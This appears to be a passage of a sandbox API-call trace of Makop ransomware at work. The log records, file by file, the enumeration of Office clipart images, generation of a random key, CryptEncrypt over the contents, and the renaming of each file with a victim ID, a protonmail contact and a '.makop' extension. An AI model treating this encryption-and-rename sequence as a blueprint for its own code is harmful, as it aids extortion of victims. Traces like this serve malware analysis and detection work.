lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.283] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.283] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.283] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30408, lpOverlapped=0x0) returned 1 [0147.288] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30410, dwBufLen=0x30410 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30410) returned 1 [0147.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.290] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30410, lpOverlapped=0x0) returned 1 [0147.293] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.293] SetEndOfFile (hFile=0xf0) returned 1 [0147.303] GetProcessHeap () returned 0x48a0000 [0147.303] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.304] GetProcessHeap () returned 0x48a0000 [0147.304] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.304] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.306] CloseHandle (hObject=0xf0) returned 1 [0147.306] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0147.306] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP") returned 63 [0147.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.307] GetProcessHeap () returned 0x48a0000 [0147.307] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.307] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.309] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.313] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.313] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.313] GetProcessHeap () returned 0x48a0000 [0147.314] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.314] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.314] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.314] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.314] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.314] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.314] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.314] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.315] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.315] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.315] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.315] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.315] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x307f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x307f8, lpOverlapped=0x0) returned 1 [0147.320] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30800, dwBufLen=0x30800 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30800) returned 1 [0147.322] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.322] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30800, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30800, lpOverlapped=0x0) returned 1 [0147.325] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x308d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.325] SetEndOfFile (hFile=0xf0) returned 1 [0147.335] GetProcessHeap () returned 0x48a0000 [0147.335] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.335] GetProcessHeap () returned 0x48a0000 [0147.335] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.335] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.337] CloseHandle (hObject=0xf0) returned 1 [0147.337] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0147.337] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG") returned 63 [0147.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.338] GetProcessHeap () returned 0x48a0000 [0147.338] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.338] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.338] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.339] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.343] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.343] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.343] GetProcessHeap () returned 0x48a0000 [0147.343] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.343] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.343] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.345] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.345] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa0d2, lpOverlapped=0x0) returned 1 [0147.349] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa0e0, dwBufLen=0xa0e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa0e0) returned 1 [0147.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa0e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa0e0, lpOverlapped=0x0) returned 1 [0147.350] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.350] SetEndOfFile (hFile=0xf0) returned 1 [0147.359] GetProcessHeap () returned 0x48a0000 [0147.359] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.359] GetProcessHeap () returned 0x48a0000 [0147.359] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.359] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.361] CloseHandle (hObject=0xf0) returned 1 [0147.361] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0147.361] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 63 [0147.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.362] GetProcessHeap () returned 0x48a0000 [0147.362] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.363] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.363] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0147.367] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.367] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.368] GetProcessHeap () returned 0x48a0000 [0147.368] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.368] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.368] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.368] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.368] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.368] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.368] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.369] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.369] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.369] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.369] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc5d7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc5d7, lpOverlapped=0x0) returned 1 [0147.372] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc5e0, dwBufLen=0xc5e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc5e0) returned 1 [0147.372] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.372] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc5e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc5e0, lpOverlapped=0x0) returned 1 [0147.373] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.373] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.373] SetEndOfFile (hFile=0xf0) returned 1 [0147.381] GetProcessHeap () returned 0x48a0000 [0147.381] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.381] GetProcessHeap () returned 0x48a0000 [0147.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.382] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.383] CloseHandle (hObject=0xf0) returned 1 [0147.383] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0147.383] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 63 [0147.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.384] GetProcessHeap () returned 0x48a0000 [0147.385] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.385] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.385] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.390] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.390] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.390] GetProcessHeap () returned 0x48a0000 [0147.390] 